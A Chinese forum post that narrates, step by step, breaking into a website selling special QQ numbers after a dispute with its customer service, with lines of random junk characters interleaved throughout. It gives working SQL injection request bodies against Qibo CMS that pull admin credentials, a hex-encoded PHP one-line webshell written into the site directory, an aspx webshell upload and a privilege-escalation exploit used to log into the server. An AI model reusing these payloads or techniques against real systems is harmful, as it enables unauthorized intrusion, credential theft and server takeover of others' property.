|
$ H* e# |8 i; b: ^: V
% B- l$ f9 V. R9 \
1 U7 L( `$ S$ z- T. Z: W- I: D, d9 K4 n `3 Y" d& n; q
一、踩点寻找漏洞
, a1 {' c. f, l5 J# y) |
闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
5 T( K% ?9 p1 e4 f8 m: B$ Q随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
9 G7 T: U. I0 V( v Y& v先注册一个用户，记住注册时候的邮箱以uid号，
! Q* q* ]) |9 H
A6 z" X$ g! @! j, O
$ c8 f$ I8 }6 V& T
然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
, w" p/ }- l, ]. u" N% f- `
( {$ ^" s; X3 l6 z; Z6 }4 N
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
$ F" r' r! j9 S! j" b
这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
2 |, i a# R: U. Y
$ f) o! A8 x" \
确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
/ a8 |# k1 F1 N7 |$ [
0 U/ F! `: @1 ~: D
3 B9 O& a( W% L8 ~# ^% Z解密进后台如图：
: h. s) d- f; s: N8 U
: Q8 F7 D y2 n* m4 [+ s
6 r$ F& p# m* F q1 [# a) b/ A
4 O; B$ e- l. @0 B& @8 m/ V+ t二、后台getwebshell
$ B* O, u. S0 K* b
进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
( A! ^5 \5 B# e# V" q/ Z
1 R: h& q0 z# B: Y. ~* \6 j
7 g* y5 {% z+ z# E0 I) j* d. m) [( h8 a% Z
, R$ P( ]- x/ j/ L( C
然后点确定，添加提示
+ o+ Z1 f X, B. T K
) e* @& }+ |1 d6 ~' ~8 e h
' i0 y+ p- R* I# A2 X! X5 [( g
! O/ i; J' S) D
由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
- r% A5 H, o) K' V1 \
. ?- q4 O- s2 D7 L( G4 P
, d$ P- m" E5 K$ b
改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
" w; P7 s2 e- \; K2 e5 C如图：
) x# \; E+ x5 G0 J, X- _
0 A7 D' i7 o! v ~; t, R. Z
/ l' B2 Z6 A9 \1 i
( `# L6 n* a S. e9 f之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
$ n) l$ w1 ]8 q+ H" ] _: ]
) U" S' a; S, R. z
$ U0 T/ q9 H: [9 \( H8 m: m
9 K3 n/ H! V! e2 a6 O2 B4 x; W三、提权进服务器
* x" G! E# u3 Q$ h! k( `, f: U9 I经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
8 Z2 r# c8 \( y0 D
# h) C2 Y( m8 `. k
8 d% M" l6 k, L+ @5 B1 ]( m
啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
; s! w. T7 y7 n0 z/ `3 R5 M! |9 I
n* J( m6 @) t, L. g1 d
( |/ l9 }# B% M) l0 u' w
然后登陆服务器如图：
- ~6 C4 g; ^6 t3 i9 T$ W! w
3 D3 a5 J/ y6 I5 m3 M O- S6 e- F2 K
7 U7 n5 e: N% k 2 e' H1 k( B% j2 r' Q
: n' P4 a& ~% M0 s
$ n4 q; |6 |: D/ V4 I3 S6 _2 @
难怪普通刀连接不上，原来是有狗。
. R: L. c: g$ f8 O. T( C
7 q/ W* N$ f1 X1 r
$ z: S$ l% n. I1 y7 S ( S+ z$ k7 z S( T$ ?
6 j4 X- a3 k+ R! N
2 H) v* R6 p0 i$ v
~4 q. q% h) b | 
发表于 2018-10-20 20:08:47
收藏
支持
反对